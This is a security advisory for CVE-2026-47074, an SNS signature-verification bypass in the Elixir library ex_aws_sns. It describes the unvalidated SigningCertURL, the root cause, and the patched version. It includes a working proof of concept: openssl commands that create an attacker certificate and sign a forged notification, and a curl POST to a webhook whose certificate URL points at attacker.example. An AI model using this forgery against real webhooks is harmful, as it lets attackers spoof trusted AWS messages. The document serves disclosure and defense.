CVE-2026-47074: ex_aws_sns SNS Signature Verification Bypass via Unvalidated SigningCertURL
The ex_aws_sns Elixir library blindly fetches whatever certificate URL an incoming SNS message provides, letting any unauthenticated attacker forge a valid-looking SNS message by pointing that URL at
The problem
ExAws.SNS.verify_message/1 fetches the signing certificate from the SigningCertURL field of the incoming message without checking that the URL uses HTTPS or that its host matches an AWS-owned SNS domain.
Because PublicKeyCache.get/1 fetches and caches any URL without restriction, an attacker can host their own RSA certificate anywhere reachable by the server, sign a forged SNS Notification with the matching private key, and receive :ok from verify_message/1. The check that is supposed to authenticate the message becomes meaningless.
Proof of concept
# Step 1: generate an attacker RSA keypair and self-signed cert, then host the PEM at http://attacker.example/evil.pem
# openssl req -x509 -newkey rsa:2048 -keyout attacker.key -out evil.pem -days 365 -nodes -subj '/CN=attacker'
# Step 2: build the canonical SNS string-to-sign for a Notification (SHA-1, SignatureVersion 1)
# Fields in lexicographic order: Message, MessageId, Subject, Timestamp, TopicArn, Type
STRING_TO_SIGN="Message\nForged payload: do evil\nMessageId\ndeadbeef-0000-0000-0000-000000000000\nSubject\nForged\nTimestamp\n2024-01-01T00:00:00.000Z\nTopicArn\narn:aws:sns:us-east-1:123456789012:LegitTopic\nType\nNotification\n"
# Step 3: sign with attacker private key
SIG=$(printf '%s' "$STRING_TO_SIGN" | openssl dgst -sha1 -sign attacker.key | base64 -w0)
# Step 4: POST forged payload to the SNS webhook
curl -s -X POST https://target.example/sns/webhook \
-H 'Content-Type: application/json' \
-d "{
\"Type\": \"Notification\",
\"MessageId\": \"deadbeef-0000-0000-0000-000000000000\",
\"TopicArn\": \"arn:aws:sns:us-east-1:123456789012:LegitTopic\",
\"Subject\": \"Forged\",
\"Message\": \"Forged payload: do evil\",
\"Timestamp\": \"2024-01-01T00:00:00.000Z\",
\"SignatureVersion\": \"1\",
\"Signature\": \"$SIG\",
\"SigningCertURL\": \"http://attacker.example/evil.pem\",
\"UnsubscribeURL\": \"http://attacker.example/unsub\"
}"
# verify_message/1 fetches http://attacker.example/evil.pem, extracts the public key,
# verifies the RSA-SHA1 signature -- which matches -- and returns :ok.The root cause is CWE-295: no validation gate exists between receiving SigningCertURL from user-controlled input and calling PublicKeyCache.get/1 on it. Neither validate_message_params/1 nor any other step in the three-stage pipeline checks that the URL scheme is https:// or that the hostname matches the expected pattern sns.<region>.amazonaws.com.
The patch (commit 1853d280) adds a validate_signing_cert_url/1 step that rejects any URL whose scheme is not HTTPS and whose host does not match the AWS SNS certificate domain pattern. Because the signature verification is mathematically sound once the URL is trusted, fixing the URL allowlist is the entire fix.
The fix
Upgrade ex_aws_sns to 2.3.5 or later. The patch commit (1853d280b152d10384a1e21a22cf22152a60be48) adds host and scheme validation for SigningCertURL before the certificate is fetched. No configuration changes are needed beyond bumping the version in mix.exs.
Reported by Peter Ullrich, Bernard Duggan, Jonatan Männchen (EEF).